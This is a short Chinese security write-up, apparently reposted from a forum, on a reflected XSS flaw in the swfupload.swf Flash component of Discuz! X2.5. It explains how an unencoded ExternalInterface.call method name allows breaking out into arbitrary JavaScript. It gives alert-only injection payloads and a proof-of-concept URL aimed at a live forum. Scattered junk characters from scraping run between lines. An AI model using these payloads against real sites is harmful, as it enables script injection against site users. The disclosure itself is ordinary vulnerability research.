Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说
; o' r! O. t* N1 E) q0 U/ T
0 ~* ~6 m( b& S3 I7 a- l: Kflash.external.ExternalInterface.call($methodName, $parameter)
$ E* ?  j% @6 \, V; j' K在浏览器中执行的是
  A: r$ I4 f+ @: }+ h" \+ t
' p# D* }* B6 [0 Y2 @  f) ztry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
1 A  p2 u7 a$ |
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
) G" b# w/ M, _3 D1 h* r$methodName = a())}catch(e){alert(/xss/)}//
结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。

try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
3 K# m6 d5 E! S4 Q
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
6 n- H. |4 E. _* m' D杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。
/ d" @  h/ o9 x

$ U  R/ `  z6 L" `1 P
" G+ ^; Y+ @; V! }. i+ Z* D漏洞文件：upload\static\image\common\swfupload.swf
1 J5 q: ~8 t/ k
0 l' U4 C. l6 T原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf

' M) I: w! }( y' x
+ @& T+ s1 u2 J2 Y/ ]+ R漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//

) q( |9 t1 ^& s  x' u+ ]